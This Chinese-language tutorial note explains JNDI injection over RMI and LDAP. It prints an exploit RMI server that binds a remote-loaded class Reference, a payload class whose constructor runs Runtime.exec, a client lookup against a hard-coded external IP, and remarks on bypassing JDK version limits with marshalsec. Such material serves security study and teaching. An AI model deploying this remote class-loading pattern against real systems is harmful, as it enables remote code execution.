目录
JNDI-Injection & marshalsec 实现原理
JNDI注入-RMI&LDAP服务
JNDI远程调用-JNDI-Injection
JNDI远程调用-marshalsec
JNDI-Injection & marshalsec 实现原理
Registry首先启动,并监听一个端口,一般是1099:
Registry registry = LocateRegistry.createRegistry(1099);
在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。
Server向Registry注册远程对象:
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。
Client从Registry获取远程对象的代理:
Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。
Client通过这个代理调用远程对象的方法:
// 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
// 例如:CalcInterface calc = (CalcInterface) remoteObject;
// 远程方法调用示例
// 例如:calc.performCalculation();
客户端通过获得的代理对象调用远程对象的方法。
Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。
Server端的代理将执行结果返回给Client端代理:
执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception {
// 创建 RMI 注册表并监听在 1099 端口上
Registry registry = LocateRegistry.createRegistry(1099);
**// 创建一个包含类信息的 Reference 对象
// className: 远程加载时所使用的类名
// classFactory: 加载的类中需要实例化的类的名称
// classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议
Reference reference = new Reference("Calc", "Calc", "http://localhost/");**
// 使用 Reference 对象创建 ReferenceWrapper 对象
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"
registry.bind("calc", wrapper);
}
}
import java.lang.Runtime;
public class Calc {
public Calc() throws Exception{
Runtime.getRuntime().exec("mstsc");
}
}
发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过)
利用要知道其他类也能调用jndi注入(rmi,ldap)